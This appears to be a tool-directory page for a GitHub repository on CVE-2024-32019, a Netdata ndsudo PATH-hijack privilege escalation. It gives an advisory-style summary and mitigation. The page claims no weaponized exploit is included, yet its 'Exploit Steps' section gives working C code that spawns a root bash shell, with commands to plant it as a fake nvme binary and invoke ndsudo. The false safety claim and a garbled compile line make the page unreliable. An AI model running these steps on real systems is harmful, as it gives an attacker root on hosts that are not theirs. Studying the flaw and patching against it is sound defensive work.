Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2024-32019-PoC — Checks Netdata ndsudo SUID PATH privilege escalation exposure for CVE-2024-32019 and validates patches without weaponized exploitation. | Kitploit
Tools/GitHubGitHub/ayub0x7/cve-2024-32019-poc
Defensive ToolsPrivilege EscalationVulnerability AnalysisExploitationSecurity VirtualizationPenetration Testing
GitHubayub0x7/cve-2024-32019-poc

cve-2024-32019-PoC

Checks Netdata ndsudo SUID PATH privilege escalation exposure for CVE-2024-32019 and validates patches without weaponized exploitation.

View Repository
471 year agoNot yet reviewed
Share

CVE-2024-32019 — Netdata ndsudo Local Privilege Escalation

Summary

Netdata’s ndsudo helper (installed setuid root) restricts which commands it will run, but resolves those commands using the caller’s PATH. In impacted versions, a local user can place a malicious binary earlier in PATH and have ndsudo execute it with root privileges. Patched in Netdata 1.45.3 and 1.45.0-169.

Affected / Patched

  • Affected: >= 1.44.0-60, < 1.45.0-169 and >= 1.45.0, < 1.45.3 (per upstream advisory).

  • Fixed: 1.45.3 (stable), 1.45.0-169 (nightly). GitHub

Impact

Local privilege escalation to root on systems where ndsudo is installed SUID and the user can invoke it (commonly members of the netdata group). NVDGitHub

Root Cause (high-level)

  • ndsudo is SUID-root and whitelists subcommands like nvme-list, nvme-smart-log, etc.

  • It calls external executables by name (e.g., nvme), which are resolved via PATH instead of using absolute paths or a safe, fixed search.

  • If a writable directory appears before system paths, an attacker can introduce a look-alike binary that gets executed as root. GitHub

Safe Reproduction / Verification

This repository includes non-exploit checkers that:

  • Inspect /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo (or wherever installed) for SUID/ownership.

  • Enumerate PATH for writable directories earlier than common system paths.

  • Confirm presence of whitelisted subcommand names that ndsudo might try to execute.

  • Optionally run ndsudo --test <subcommand> to print the resolved command without executing it (use with caution, read code first). GitHub

⚠️ No weaponized PoC is included. This project is for defenders and researchers to assess exposure and validate patches responsibly.

Mitigation

  • Upgrade Netdata to 1.45.3 (stable) or 1.45.0-169 (nightly).

  • As a defense-in-depth measure, prefer absolute paths or sanitized minimal PATH in SUID helpers; avoid granting unnecessary ndsudo access. GitHubwiz.io

Exploit Steps

1. Save the following C code as nvme.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", NULL);
    return 0;
}
2. Compile the Exploit
gcc nvme.c - nvme
3. Environment Set-Up
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
4. Modify the PATH
export PATH=/tmp/fakebin:$PATH
5. Exploit Command
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

References

  • NVD: CVE-2024-32019. NVD

  • Netdata Advisory (GHSA-pmhq-4cxq-wj93). GitHub

  • Wiz summary. wiz.io

  • Snyk write-up. Vulnerability Guide

  • MITRE/CVE listing. CVE

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    772
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    505
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    420
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    260
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    251

Explore all tools

Browse our collection of tools

View all tools →